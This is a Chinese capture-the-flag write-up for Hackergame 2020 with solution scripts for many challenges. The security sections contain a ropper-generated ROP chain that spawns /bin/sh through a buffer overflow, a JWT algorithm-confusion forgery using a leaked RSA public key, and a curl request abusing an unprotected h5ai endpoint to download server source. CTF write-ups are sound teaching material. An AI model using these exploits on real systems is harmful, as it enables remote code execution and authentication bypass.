{"sub": "深**烤","scr":4700,"rk":8}

签到

Screen Shot 2020-10-31 at 19.04.53.png

审查元素,把 input 保存全局变量,控制台输入 temp1.value="1" 提交。

猫咪问答

Screen Shot 2020-10-31 at 19.23.24.png

除了车位都是确定的。先提交一次,然后复制 cURL,到终端从 0-10 猜车位。

2048

玩游戏也是一种策略吧?不过我中途失败了,就只能审代码了。

定位到 static/js/html_actuator.js,有个 if (won) url = "/getflxg?my_favorite_fruit=" + ('b'+'a'+ +'a'+'a').toLowerCase() 语句,访问 /getflxg?my_favorite_fruit=banana 获取 flag

一闪而过的 flag

Screen Shot 2020-11-01 at 22.12.20.png

cd 到这个目录下运行就获得到 flag

记账

我一开始是用 Excel 做,但搜了很多方法都不管用,遂导出.csv。

#!/usr/bin/env python

big = "零壹贰叁肆伍陆柒捌玖"
unit = "分角元拾佰仟万"
unit_mul = [1, 10, 1_00, 10_00, 100_00, 1000_00, 10000_00]

f = open('zwdx.csv', 'r')
lines = f.read().splitlines()
f.close()

def to_cents(literal):
    total = 0
    acc = ''
    for char in literal:
        if char in big:
            acc = acc + str(big.index(char))
        elif char in unit:
            #print(literal)
            if not acc:
                if char == '拾':
                    num = 1
                else:    num = 0
            else:
                num = int(acc.lstrip('0'))
            total = total + num * unit_mul[unit.index(char)]
            num = 0
            acc = ''
        else:
            pass
    return total

sum_cents = 0
for line in lines:
    num, quant = line.split(',')
    quant = int(quant)
    sum_cents += to_cents(num) * quant

print('cents:', sum_cents)

超简单的世界模拟器

第一问在右边方块的对应行放置一个向右的 spaceship 型生命即可

Screen Shot 2020-11-01 at 21.56.50.png

第二问,问题是下面的方块 glider 碰不到,于是随机生成地图进行模拟,如果符合,就输出种子。

#include <iostream>
#include <cstdlib>
#include <cstdint>
#include <random>
#include <unistd.h> // for usleep(dwMilli)

const int VW = 50, VH = 50,
    SHIFTX = 0, SHIFTY = 0,
    SIZEX = 50, SIZEY = 50,
    RNDMAX = 1000, THRES = 360;
std::random_device rnd_device;

struct GameOfLife {
    std::int8_t state[SIZEY][SIZEX];

    void reset() {
        std::memset((std::int8_t *)state, 0, sizeof(state));
    }
    GameOfLife() {
        reset();
    }
    inline void vset(int x, int y) {
        if ((0 <= x && x < SIZEX) && (0 <= y && y < SIZEY))
            state[y+SHIFTY][x+SHIFTX] = 1;
    }
    inline void vunset(int x, int y) {
        if ((0 <= x && x < SIZEX) && (0 <= y && y < SIZEY))
            state[y+SHIFTY][x+SHIFTX] = 0;
    }
    inline std::int8_t get(int x, int y) const {
        if ((0 <= x && x < SIZEX) && (0 <= y && y < SIZEY))
            return state[y][x];
        else    return 0;
    }
    inline std::int8_t vget(int x, int y) const {
        return get(x+SHIFTX, y+SHIFTY);
    }
    void evol() {
        for (int y = 0; y < SIZEY; ++ y) {
            for (int x = 0; x < SIZEX; ++ x) {
                int self = get(x, y), live = 0;
                for (int i : {-1, 0, 1}) {
                    for (int j : {-1, 0, 1}) {
                        if (i == 0 && j == 0)
                            continue;
                        live += get(x+i, y+j) & 1;
                    }
                }
                if (self == 1 && ((live == 2) || live == 3)) {
                    state[y][x] |= 2;
                } else if (self == 0 && live == 3) {
                    state[y][x] |= 2;
                }
            }
        }
        std::int8_t *p = (std::int8_t *)state;
        for (int i = 0; i < SIZEX * SIZEY; ++ i)
            p[i] >>= 1;
    }

    void getview() const {
        const char blips[] = " .':";
        std::cout << "+" << std::string(VW, '=') << "+" << std::endl;
        for (int hy = 0; hy < (VH/2 + VH%2); ++ hy) {
            std::cout << "|";
            for (int x = 0; x < VW; ++ x) {
                int hi = vget(x, 2*hy), lo = vget(x, 2*hy+1);
                int pair = hi * 2 + lo;
                std::cout << blips[pair];
            }
            std::cout << "|" << std::endl;
        }
        std::cout << "+" << std::string(VW, '=') << "+" << std::endl;
    }
    void playlim(int ngen) {
        for (int gen = 1; gen <= ngen; ++ gen) {
            std::cout << std::string(24, '\n');
            getview();
            std::cout << "Iter: " << gen << std::endl;
            evol();
            usleep(200);
        }
    }
    std::string xport() const {
        std::string s;
        for (int y = 0; y < 15; ++ y) {
            for (int x = 0; x < 15; ++ x) {
                s += vget(x, y) == 1 ? "1" : "0";
            }
            s += "\n";
        }
        return s;
    }
    void vrand(int limx, int limy, int max = RNDMAX, int thres = THRES) {
        std::default_random_engine engine(rnd_device());
        std::uniform_int_distribution<int> dist(0, max);
        auto randint = [&engine, &dist](void) -> int {
            return dist(engine);
        };

        for (int y = 0; y < limy; ++ y) {
            for (int x = 0; x < limx; ++ x) {
                if (randint() < thres) {
                    vset(x, y);
                }
            }
        }
    }
};

void placeSpaceship(GameOfLife &game, int x, int y) {
    const int coords[12][5] = {
        {1, 0}, {2, 0},
        {0, 1}, {1, 1}, {2, 1}, {3, 1},
        {0, 2}, {1, 2}, {3, 2}, {4, 2},
        {2, 3}, {3, 3}
    };
    for (auto &ij : coords) {
        game.vset(x+ij[0], y+ij[1]);
    }
}

void placeBlock(GameOfLife &game, int x, int y) {
    game.vset(x, y);
    game.vset(x+1, y);
    game.vset(x, y+1);
    game.vset(x+1, y+1);
}

// magic fn
bool checkClear(GameOfLife &game) {
    const int x1 = 45, y1 = 5, x2 = 45, y2 = 25;
    return (
        game.vget(x1, y1) == 0 &&
        game.vget(x1+1,y1) == 0 &&
        game.vget(x1,y1+1) == 0 &&
        game.vget(x1+1,y1+1) == 0 &&
        game.vget(x2, y2) == 0 &&
        game.vget(x2+1,y2) == 0 &&
        game.vget(x2,y2+1) == 0 &&
        game.vget(x2+1,y2+1) == 0
    );
}

int main(int argc, char **argv) {
    GameOfLife g;
    bool good = false;
    while (! good) {
        g.reset();
        g.vrand(15, 15, 1000, 400);
        placeBlock(g, 45, 5);
        placeBlock(g, 45, 25);
        std::string init = g.xport();
        
        for (int i = 0; i < 200; ++ i)
            g.evol();
        g.getview();
        usleep(500);
        if (checkClear(g)) {
            good = true;
            std::cout << init;
        }
    }

    return 0;
}

火星文

某个人一定很擅长做这个题……

flag 是 ASCII 但是没有 ASCII 原因很简单,因为是全角字符。先用关键词搜索,很快得到如下有效信息:

脦脪 == 我
脣脩脣梅 == 搜索

交河古城是世界上最宏大最古老保存最完好的生土建筑城市也是我国保存多年的最完整的都市遗址
陆禄潞脱鹿脜鲁脟脢脟脢脌陆莽脡脧脳卯潞锚麓贸脳卯鹿脜脌脧卤拢麓忙脳卯脥锚潞脙碌胫脡煤脥脕陆篓脰镁鲁脟脢脨脪虏脢脟脦脪鹿煤卤拢麓忙露脿胫锚碌胫脳卯脥锚脮没碌胫露录脢脨脪脜脰路

其实再搜集下去,是可以构造一本”字典“来译出该编码的。

之后我从人民网新闻复制了一段文本(example.txt),因为里面肯定有“我”、“我国”此类词语。根据题目的提示,编码里应该有 GBK 和 UTF-8 这两种,但密文不符合这两种相互转的特征。由此猜测还有一种编码,经过一番暴力搜索,另一个编码可能是 ISO-8859-1,因为其会导致文字中出现很多拉丁字母。

运行 iconv -c -f utf-8 -t gbk example.txt | iconv -c -f iso-8859-1 -t utf-8 | iconv -f gbk -t utf-8,发现竟然输出了特征完全一致的密文。那就把以上过程反向作用于 gibberish_message.txt

$ iconv -c -f utf-8 -t gbk gib.txt | iconv -c -f utf-8 -t iso-8859-1 | iconv -f gbk

我攻破了 Hackergame 的服务器,偷到了它们的 flag,现在我把 flag 发给你:
flag{H4v3_FuN_w1Th_3nc0d1ng_4Nd_d3c0D1nG_9qD2R8hs}
快去比赛平台提交吧!
不要再把这份信息转发给其他人了,要是被发现就糟糕了!

自我复读的复读机

Screen Shot 2020-10-31 at 21.35.50.png

考察变种 Quine program,搜到两个 CodeGolf,把 python2 代码译成 python3,然后去掉末尾换行。

Screen Shot 2020-10-31 at 21.47.55.png

字符串工具

转大写

Screen Shot 2020-10-31 at 22.38.08.png

Unicode 标准会把一些非 ASCII 的字符“大写”变成 ASCII 的大写,直接穷举发现一个很好的 fl (64258) -> FL,后面加上 ag 交上去。

7 to 8

Screen Shot 2020-10-31 at 22.51.34.png

还是穷举发现 +AGE- 会变成 a,前面添加 fl 后面添加 g 交上去。

Docker

Screen Shot 2020-10-31 at 23.18.30.png

Pull 下来,看看是哪一层把代码加进去的。找到 c319bce601a5...,打开这个 layer.tar,找到 flag.txt

从零开始的 HTTP 链接

VPS 运行(因为要交互,光 nc 不管用):

socat TCP4-LISTEN:9000,reuseaddr,fork TCP4:202.38.93.111:0

浏览器打开 http://IP:9000,输入比赛 token 即可获得 flag

来自一教的图片

有傅立叶三个字,知道怎么回事了吧。这几天刚好有个同学找我做隐写大作业。

Screen Shot 2020-11-07 at 15.03.11.png

从 openCV 官网抄写一段代码并魔改即可。

import cv2 as cv
import numpy as np
from matplotlib import pyplot as plt
img = cv.imread('4f_system_middle.bmp',0)
f = np.fft.fft2(img)

magnitude_spectrum = 20*np.log(np.abs(f))

plt.imshow(magnitude_spectrum, cmap = 'gray')
plt.title('Magnitude Spectrum'), plt.xticks([]), plt.yticks([])
plt.show()

超简陋的 OpenGL 小程序

glflag.png

动调,断在 glDrawElements,元素数(在 RDX)去尾改成 1F300 即可看到 flag 艺术字。

生活在博弈树上

这游戏先手必赢,根本不需要什么 AI。第一问比较简单,最后一次输入时输入较多的 A 把栈上的 bool success 给覆写即可获得 flag

第二问提交用 ropper 自动生成的 rop chain 即可(逃

#!/usr/bin/env python
# Generated by ropper ropchain generator #
from pwn import *
from struct import pack

token = '<contest token>'

#io = process('./tictactoe')
io = remote('202.38.93.111', 10141)
pr = lambda: print(io.read().decode())

pr()
io.sendline(token)

pr()
io.sendline('(1,1)')
pr()
io.sendline('(0,2)')
pr()
io.sendline('(1,0)')
pr()

p = lambda x : pack('Q', x)
IMAGE_BASE_0 = 0x0000000000400000 # 8e86c5a98ffe660bd9be5250f6696b00ce896d4907ce383d8f5ed9cc9a393560
rebase_0 = lambda x : p(x + IMAGE_BASE_0)

rop = b''
rop += rebase_0(0x000000000000371d) # 0x000000000040371d: pop r13; ret; 
rop += b'//bin/sh'
rop += rebase_0(0x00000000000017b6) # 0x00000000004017b6: pop rdi; ret; 
rop += rebase_0(0x00000000000a60e0)
rop += rebase_0(0x0000000000058413) # 0x0000000000458413: mov qword ptr [rdi], r13; pop rbx; pop rbp; pop r12; pop r13; ret; 
rop += p(0xdeadbeefdeadbeef)
rop += p(0xdeadbeefdeadbeef)
rop += p(0xdeadbeefdeadbeef)
rop += p(0xdeadbeefdeadbeef)
rop += rebase_0(0x000000000000371d) # 0x000000000040371d: pop r13; ret; 
rop += p(0x0000000000000000)
rop += rebase_0(0x00000000000017b6) # 0x00000000004017b6: pop rdi; ret; 
rop += rebase_0(0x00000000000a60e8)
rop += rebase_0(0x0000000000058413) # 0x0000000000458413: mov qword ptr [rdi], r13; pop rbx; pop rbp; pop r12; pop r13; ret; 
rop += p(0xdeadbeefdeadbeef)
rop += p(0xdeadbeefdeadbeef)
rop += p(0xdeadbeefdeadbeef)
rop += p(0xdeadbeefdeadbeef)
rop += rebase_0(0x00000000000017b6) # 0x00000000004017b6: pop rdi; ret; 
rop += rebase_0(0x00000000000a60e0)
rop += rebase_0(0x0000000000007228) # 0x0000000000407228: pop rsi; ret; 
rop += rebase_0(0x00000000000a60e8)
rop += rebase_0(0x000000000003dbb5) # 0x000000000043dbb5: pop rdx; ret; 
rop += rebase_0(0x00000000000a60e8)
rop += rebase_0(0x000000000003e52c) # 0x000000000043e52c: pop rax; ret; 
rop += p(0x000000000000003b)
rop += rebase_0(0x0000000000064095) # 0x0000000000464095: syscall; ret;
io.sendline(b'(2,2)' + b'A' * 147 + rop)

io.interactive()

来自未来的信笺

Screen Shot 2020-11-07 at 15.04.25.png

因为文件里有很多的 00,这导致有的二维码看起来像坏的,但其实并没有坏。

$ brew install zbar

for file in $(ls | grep '.png')
do
    zbarimg -q --raw -Sbinary "$file" >> dump.bin
done

一定要使用二进制 encoding 来解码,才不会出现 CRLF 和 Unicode 替换字符。正常解码的文件是可以直接打开的。

狗狗银行

存款利率只有 3/1000,贷款利率有 5/1000,每天还有固定花销 10,怎么才能盈利呢?

Screen Shot 2020-11-07 at 15.06.03.png

首先注意到利用小数四舍五入,把 1000 分成 167 * 5 + 165 可以把原来 3 的收益变成 5,极限可以到 6,这就跑赢了贷款利率,但是要求我们疯狂开卡,因为懒就不考虑信用卡能不能用这个操作了。固定的花销也是个问题,用下面这个代码可以算出,第一天借多少钱,最大收益是多少。

function revenue(own, owe, ate = false) {
    if (! ate)
        return Math.max(revenue(own, owe + 10, true), revenue(own - 10, owe, true))
    const gen = Math.floor(own / 167)
    let pay = 0
    if (owe > 0) {
        const need_pay = Math.round(owe / 199)
        pay = Math.max(10, need_pay)
    }

    return gen - pay
}

可以算出一个方案 revenue(10000, 9000) == 14,于是进行这个循环可以赚钱。但是如果一直欠款,利滚利还是会出现负盈利最终坠毁,所以赚到钱就第一时间去还款,还款等同于净资产的增加,所以是一定可以通关的。

// ==UserScript==
// @name         PuppyBank
// @namespace    http://tampermonkey.net/
// @version      0.1
// @description  try to take over the wall street (hakusin)!
// @author       You
// @match        http://202.38.93.111:10102/
// @grant        none
// ==/UserScript==

(function() {
    const script_content = String.raw`'use strict'

/* boilerplate */
const headers = {
        "accept": "application/json, text/plain, */*",
        "accept-language": "zh-CN,zh;q=0.9,en;q=0.8",
        "authorization": "Bearer <contest token>",
        "cache-control": "no-cache",
        "content-type": "application/json;charset=UTF-8",
        "pragma": "no-cache",
      }
let debit_cards = [1000].concat(new Array(59).fill(0)) /* @0~59, #1~60 */
let loans = 0 /* #61 */
let cards_ready = false

function create_debit_card() {
    fetch("http://202.38.93.111:10102/api/create", {
      headers,
      "referrer": "http://202.38.93.111:10102/",
      "referrerPolicy": "strict-origin-when-cross-origin",
      "body": "{\"type\":\"debit\"}",
      "method": "POST",
      "mode": "cors",
      "credentials": "include",
    })
}

function create_credit_card() {
    fetch("http://202.38.93.111:10102/api/create", {
      headers,
      "referrer": "http://202.38.93.111:10102/",
      "referrerPolicy": "strict-origin-when-cross-origin",
      "body": "{\"type\":\"credit\"}",
      "method": "POST",
      "mode": "cors",
      "credentials": "include",
    })
}

function transfer(from, to, amount) {
    if (amount < 0)
        alert('Error 1')
    if (from == 61) {
        loans -= amount
        debit_cards[to-1] += amount
    }
    else if (to == 61) {
        if (amount <= (- loans) && debit_cards[from-1] >= amount) {
            loans += amount
            debit_cards[from-1] -= amount
        } else alert('Error 2, cannot transfer')
    }
    else if (debit_cards[from-1] >= amount) {
        debit_cards[to-1] += amount
        debit_cards[from-1] -= amount
    }
    else {
        console.log('Error 3', from, to, amount)
    }

    fetch("http://202.38.93.111:10102/api/transfer", {
      headers,
      "referrer": "http://202.38.93.111:10102/",
      "referrerPolicy": "strict-origin-when-cross-origin",
      "body": JSON.stringify({
          src: from,
          dst: to,
          amount,
      }),
      "method": "POST",
      "mode": "cors",
      "credentials": "include",
    })
}

function prepare_cards() {
    (function named_create(to_create) {
        if (to_create > 0) {
            create_debit_card()
            setTimeout(() => {
                named_create(to_create - 1)
            }, 100)
        }
        else if (to_create == 0) {
            create_credit_card()
            setTimeout(() => location.reload(), 500)
        }
    })(59)
}
/* end boilerplate */

function batch_transfer(pip) {
    if (pip.length > 0) {
        const args = pip.pop()
        transfer.apply(null, args)
        setTimeout(() => {
            batch_transfer(pip)
        }, 50)
    } else location.reload()
}

function initial_turn() {
    let pipeline = [];

    pipeline.push([1, 2, 167])
    pipeline.push([1, 3, 167])
    pipeline.push([1, 4, 167])
    pipeline.push([1, 5, 167])
    pipeline.push([1, 6, 165])
    for (let to_debit = 7; to_debit <= 60; ++ to_debit)
        pipeline.push([61, to_debit, 167])
    pipeline.push([61, 6, 2]);

    batch_transfer(pipeline.reverse())
}

function get_cards() {
    const amounts = document.querySelectorAll('.ant-card.account span.amount')
    if (amounts.length != 61) {
        console.log('Error 4 not 61 cards')
        return false
    }
    for (let i = 0; i < 60; ++ i)
        debit_cards[i] = parseInt(amounts[i].innerText)
    loans = - parseInt(amounts[60].innerText)
    return true
}

function repay() {
    if (! cards_ready) return false

    let need_pay = - loans;
    let pipeline = [];
    for (let i = 0; i < 60; ++ i) {
        const revenue = debit_cards[i] - 167
        if (revenue > 0) {
            if (need_pay > 0) {
                const pay = Math.min(revenue, need_pay)
                pipeline.push([i+1, 61, pay])
                need_pay -= pay
            }
        }
    }
    localStorage.setItem('act', 'pay')
    console.log('Payed, estimated owe:', need_pay)

    batch_transfer(pipeline.reverse())
}

function eat() {
    fetch("http://202.38.93.111:10102/api/eat", {
      headers,
      "referrer": "http://202.38.93.111:10102/",
      "referrerPolicy": "strict-origin-when-cross-origin",
      "body": "{\"account\":61}",
      "method": "POST",
      "mode": "cors",
      "credentials": "include"
    })
    localStorage.setItem('act', 'eat')
    setTimeout(() => location.reload(), 500)
}

function sum(iterable) {
    return iterable.reduce((acc, cur) => acc + cur)
}
setTimeout(() => {
    cards_ready = get_cards()
    const act = localStorage.getItem('act')
    if (sum(debit_cards) + loans >= 2000) {
        localStorage.setItem('act', 'getFlag')
    }
    if (act == 'eat') repay();
    if (act == 'pay') eat();
}, 400)
`;
    let script = document.createElement('script');
    script.type = 'text/javascript';
    script.text = script_content;
    document.body.appendChild(script);
})();

加载 userscript 后,放着那个页面不管挂机就行了。也有可能出现延迟,不能自己刷新,这时候就需要手动干预。

超基础的数理模拟器

Screen Shot 2020-11-01 at 04.54.25.png

Mathematica 12 做,userscript 提交。不知为什么 python-requests 就是交不了。

// ==UserScript==
// @name         Integral
// @namespace    http://tampermonkey.net/
// @version      0.1
// @description  try to take over calculus (hakusin)!
// @author       You
// @match        http://202.38.93.111:10190/
// @grant        none
// ==/UserScript==

(function() {
    'use strict';
    let tex = document.querySelector('center > p').innerText;
    tex = tex.substr(1, tex.length - 2);

    const number = document.querySelector('h1.cover-heading');
    setTimeout(async () => {
        const encoded = btoa(tex);
        fetch('http://127.0.0.1:9001/calc/' + encoded).then(resp => resp.text())
        .then(text => {
            if (text) {
                const ans = document.querySelector('input[name="ans"]');
                ans.value = text;

                const submit = document.querySelector('button[type="submit"]');
                submit.click();
            } else location.reload();
        }).catch(() => {
            location.reload();
        });
    }, 500);
})();

运行这个脚本的时候注意把当前页面的 js (MathJax)禁用掉,否则无法获取到数学公式内容(也许是有的,但是我把一个未解决的问题转化为了一个已解决的问题)。

from time import sleep
from pwn import process
from flask import Flask, make_response
from base64 import b64decode

kern = '/Applications/Mathematica.app/Contents/MacOS/wolfram'
io = process(kern)
sleep(2)
print(io.read())

def get_mma_output(expr):
    #print('MMA SEND:', expr)
    io.sendline(expr)
    sleep(4)
    rlines = io.read().splitlines()
    print(rlines)
    for line in rlines:
        if line.startswith(b'Out['):
            return line.decode().split('=')[1].strip()

def calc(latex):
    latex = latex.replace('\\,', ' ').replace('\\left', '').replace('\\right', '')
    # remove {d x}
    latex = latex[:latex.rindex('{d x}')]
    hyp = latex.index('_')
    car = latex.index('^')
    lower = latex[hyp+1:car]
    braces = 0
    for i in range(car, len(latex)):
        if latex[i] == '{': braces = braces + 1
        elif latex[i] == '}': braces = braces - 1
        elif (latex[i] == ' ') and (braces == 0): break
    upper = latex[car+1:i]
    integrand = latex[i:].strip()
    print('INFO:', 'low =', lower)
    print('INFO:', 'high =', upper)
    print('INFO:', 'int =', integrand)
    lower = lower.replace('\\', '\\\\')
    upper = upper.replace('\\', '\\\\')
    integrand = integrand.replace('\\', '\\\\')
    
    to_expr = lambda tex: f"ToExpression[\"{tex}\", TeXForm]"
    # precision
    query = "NIntegrate[%s, {x, %s, %s}, WorkingPrecision->40]" % (to_expr(integrand), to_expr(lower), to_expr(upper))
    output = get_mma_output(query)
    print("Eval:", output)
    try:
        answer = round(float(output), 6)
    except:
        print('ERROR: bad answer')
        return ''
    print("ANS:", answer)
    return str(answer)

app = Flask(__name__)

@app.route('/favicon.ico')
def new_mac_subsystem_linux():
    return '美丽中国话'

@app.route('/calc/<path:burl>')
def do_calc(burl):
    try:
        text = calc(b64decode(burl).decode())
    except:
        text = ''
    resp = make_response(text, 200)
    # 美丽中国话
    resp.headers['Access-Control-Allow-Origin'] = '*'
    resp.mimetype = 'text/plain'
    return resp

FLASK_APP=ints.py python -m flask run -p 9001 开服,然后挂一个 tab 跑 userscript

永不溢出的计算器

提供的几种运算,加减乘除、powmod 本地都可以做,只有 sqrt 不能做,而恰是 sqrt 泄露了 n 的因数分解,导致我们可以破解 RSA

Screen Shot 2020-11-01 at 06.57.39.png

参考: https://crypto.stackexchange.com/questions/34061/factoring-large-n-given-oracle-to-find-square-roots-modulo-n

身份认证器

代码注释里提到了 FastAPI 这个库,打开题目页面发现是 Json Web Token (jwt) 题,网上有很多文章,攻击方式大概有:爆破 secret(由于是 RS256 无从爆破)、加密算法改 none(不管用)、类型混淆导致用公钥对称签名的 token 可以过(就是这),还有一个 key injection(非相关,不是这个库)。

FastAPI 的 changelog 发现其把 pyjwt 替换成了 python-jose,而且其 issues 实锤了: https://github.com/jpadilla/pyjwt/pull/277,但是苦于找不到公钥在哪。于是就翻 FastAPI,他们示例代码有个 /openapi.json 的文件,比赛平台真有这个文件,经过解析,含有一个 POST /debug 的接口。

Screen Shot 2020-11-06 at 23.35.06.png

控制台输入:

axios.post('/debug', null, {
                                headers: {
                                    Authorization: 'Bearer ' + this.jwt,
                                    "Hg-Token": this.token
                                }
                            })

即可查到公钥信息:

{"ACCESS_TOKEN_EXPIRE_MINUTES":30,"PUBLIC_KEY":"-----BEGIN RSA PUBLIC KEY-----\nMIICCgKCAgEAn/KiHQ+/zwE7kY/Xf89PY6SowSb7CUk2b+lSVqC9u+R4BaE/5tNF\neNlneGNny6fQhCRA+Pdw1UJSnNpG26z/uOK8+H7fMb2Da5t/94wavw410sCKVbvf\nft8gKquUaeq//tp20BETeS5MWIXp5EXCE+lEdAHgmWWoMVMIOXwaKTMnCVGJ2SRr\n+xH9147FZqOa/17PYIIHuUDlfeGi+Iu7T6a+QZ0tvmHL6j9Onk/EEONuUDfElonY\nM688jhuAM/FSLfMzdyk23mJk3CKPah48nzVmb1YRyfBWiVFGYQqMCBnWgoGOanpd\n46Fp1ff1zBn4sZTfPSOus/+00D5Lxh6bsbRa6A1vAApfmTcu026lIb7gbG7DU1/s\neDId9s1qA5BJpzWFKO4ztkPGvPTUok8hQBMDaSH1JOoFQgfJIfC7w2CQe+KbodQL\n3akKQDCZhcoA4tf5VC6ODJpFxCn6blML5cD6veOBPJiIk8DBRgmt2AHzOUju+5ns\nQcplOVxW5TFYxLqeJ8FPWqQcVekZ749FjchtAwPlUsoWIH0PTSun38ua8usrwTXb\npBlf4r0wz22FPqaecvp7z6Rj/xfDauDGDSU4hmn/TY9Fr+OmFJPW/9k2RAv7KEFv\nFCLP/3U3r0FMwSe/FPHmt5fjAtsGlZLj+bZsgwFllYeD90VQU8Ds+KkCAwEAAQ==\n-----END RSA PUBLIC KEY-----\n"}

之后用 jwt tool

python jwt_tool.py "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTYwNDY3ODQwNH0.dtFbG-Ley9upqnqiYAHLrnZbcphfTFJD-ZuQFecMXJRVp8DSP7y6OmShQcdBMffCF3cpSjY__wLWvSgoJnqJTAEEFv_o9nU3az0vhDSQAOH-B0WbQaIHjvJw4shcBTi1PTcTg_JuEikS_qsdFwofRtNQHhph08ELAjL8gImCTZGIUmc21E9VpsDEV95moYAoa5B40ADqxOlYA0Sd73fM93WhMFXaqfTZCKngRt0YfQ3imKgFAct3TxusfoJH8uwH8Ght1U-lORmLaT4EpMJ3wlHzEKaJYBrDZFLgK1PG6Dp33BNlro-8rhdUHg72f-NNuPOn9txUhru2jZ_9tVcqUDutPnwxXWCiEaBCjekzRiVJ69fSFiqTeumFZspeYtNaJcmp3urMAdIGdeHOd070nSCg6P7SzDL3IfVvFp6SBmI6r5YlmAfg5_RFpaaxZvx9oIeB_dVodOcy_ylCF3d8cwpDua9MHNgxOUTz6klmrkN-odU5Q6E4EhSAajwooPHZgc0POclKvlzx1_69xE53WTdRBVnJFUWlHpfgmobLwqUQBE6bC-u51h7Rtcc52Ay3e0sdE9_oGK23-hB981Y5C14kbmsxHJbHF7-ckFV0B6Pn4kfSvdY43-pZWOciWBaPa_EER7RB05h-QbgmIVH3KjPm1mWULoFXPV9FP9TyNkI" -X k -pk pubkey.pem

生成了 token:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTYwNDY3ODQwNH0.10KyqV4JJzZbaQ5SAWVSkDMW_xLoduxQY7qDvP_uGo0

app.jwt = "上面生成的 token";,去获取用户信息即可得到 flag

数字论证

题目的字符数限制是 256,而不是例子中的那么短。本题最大的问题是,没法快速增加一个数,最快也就是乘法,因此有 <= 114513 的条件。

我们知道 ~-(x) == x-1-~(x) == x+1,均摊到每个数上面大概能增加 20 几。因此问题就转化成了如何用几个在20多范围内的数运算出十一万四千五百一十四。

#!/usr/bin/python3

import copy
import re

# estimate from 256 chars limit
R = range(-22, 22)
g1 = set(R)
g2 = set()
g3 = set()
m2 = dict()
m3 = dict()
safe = lambda i: f'({str(i)})' if i < 0 else str(i)

def update2(num, rep):
    if not (num in g2):
        g2.add(num)
        m2[num] = rep
    elif len(rep) < len(m2[num]):
        m2[num] = rep

for i in R:
    for j in R:
        a = safe(i)
        b = safe(j)
        update2(i+j, f'({a}+{b})')
        update2(i*j, f'({a}*{b})')
        update2(i^j, f'({a}^{b})')
        update2(i|j, f'({a}|{b})')
        update2(i&j, f'({a}&{b})')
for i in copy.copy(g2):
    update2(-i, f'(-({m2[i]}))')

g2nz = g2 - set([0])
def test2(i):
    for d in g2nz:
        q, r = i // d, i % d
        if q in g2 and r in g2:
            return True
    return False

def gen_rep2(i):
    for d in g2nz:
        q, r = i // d, i % d
        if q in g2 and r in g2:
            maybe = f'({m2[q]}*{m2[d]}+{m2[r]})'
            yield maybe

def update3(num, rep):
    if not (num in g3):
        g3.add(num)
        m3[num] = rep
    elif len(rep) < len(m3[num]):
        m3[num] = rep

for i in R:
    for j in R:
        for k in R:
            a = safe(i)
            b = safe(j)
            c = safe(k)
            update3(i-j-k, f'({a}-{b}-{c})')
            update3(i+j-k, f'({a}+{b}-{c})')
            update3(i+j+k, f'({a}+{b}+{c})')
            update3(i*j*k, f'({a}*{b}*{c}')
            update3(i*j+k, f'({a}*{b}+{c})')
            update3((i*j)^k, f'(({a}*{b})^{c})')
            update3(i*(j|k), f'({a}*({b}|{c}))')
            update3(i*(j^k), f'({a}*({b}^{c}))')
            update3(i*(j&k), f'({a}*({b}&{c}))')
            # g3.add(i*j-k) # rm
for i in copy.copy(g3):
    update3(-i, f'(-({m3[i]}))')

g3nz = g3 - set([0])
def test3(i):
    for d in g3nz:
        q, r = i // d, i % d
        if (q in g3) and (r == 0):
            return True
        elif (q in g2) and (r in R):
            return True
    return False

def gen_rep3(i):
    for d in g3nz:
        q, r = i // d, i % d
        if (q in g3) and (r == 0):
            maybe = f'({m3[q]}*{m3[d]})'
            yield maybe
        if (q in g2) and (r in R):
            maybe = f'({m2[q]}*{m3[d]}+{safe(r)})'
            yield maybe

# c_bad = 0
# for i in range(1,114514):
#     if test2(i) or test3(i):
#         print('OK:', i)
#     else:
#         # 112358
#         print('BAD:', i)
#         c_bad = c_bad + 1
# print('c_bad:', c_bad)

def e(i, o):
    if i == o:
        return safe(i)
    elif i > o:
        return '(' + '~-' * (i-o) + str(i) + ')'
    else:
        return '(' + '-~' * (o-i) + str(i) + ')'

reg_num = re.compile(r'-?\d+')
def get_re(rep):
    avail = [4, 1, 5, 4, 1, 1]
    numberp = list((m.start(0), m.end(0)) for m in reg_num.finditer(rep))
    numbers = reg_num.findall(rep)
    N = len(numbers)
    replaced = [False] * N
    reps = [''] * N
    # the easy part
    for i in range(N):
        num_i = int(numbers[i])
        if not replaced[i]:
            if not avail:
                return False
            v = avail.pop()
            reps[i] = e(v, num_i)
            replaced[i] = True
    if not all(b for b in replaced):
        return False
    # concat
    hash_r = reg_num.sub('#', rep)
    new_r = ''
    j = 0
    nx = 0
    for i in range(len(hash_r)):
        if hash_r[i] == '#':
            new_r = new_r + hash_r[nx:i] + reps[j]
            nx = i + 1
            j += 1
    new_r = new_r + hash_r[nx:]
    return new_r

def repr2(i):
    for nrep in gen_rep2(i):
        rep = get_re(nrep)
        if len(rep) < 256: return rep

def repr3(i):
    for nrep in gen_rep3(i):
        rep = get_re(nrep)
        if len(rep) < 256: return rep

while True:
    n = input('> ')
    if n == 'q': break
    n = int(n)
    assert(n < 114514)
    if test2(n):
        r = repr2(n)
        print(r, '=', eval(r))
    elif test3(n):
        r = repr3(n)
        print(r, '=', eval(r))
    else:
        # the one
        print('DIY', 112358)

Screen Shot 2020-11-01 at 18.16.37.png

除了最后那个数不能表,别的都可以,但随机到它的概率微乎其微。

网盘服务器

H5AI,一个开源项目,还是最新版,审了一圈源码发现啥都没有,郁闷。

注意到官网的安装教程是把源码文件夹 _h5ai 放在网站根目录的,而且翻 issues 区可以发现如果不在根目录,会出现一些问题。而本题的设置恰好是不在根目录在 /Public/

于是尝试 /_h5ai/public/index.php,不输入凭证,发现 php 竟仍然运行了,这就好办了。

Screen Shot 2020-11-06 at 17.21.51.png

curl -X POST "http://202.38.93.111:10120/_h5ai/public/index.php" -d "action=download&as=file&type=php-tar&baseHref=/" | strings

代理服务器

只做出第一问:

$ nghttp -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36' 'https://146.56.228.227/' | grep 'ecret'

[WARNING] Certificate verification failed: unable to verify the first certificate
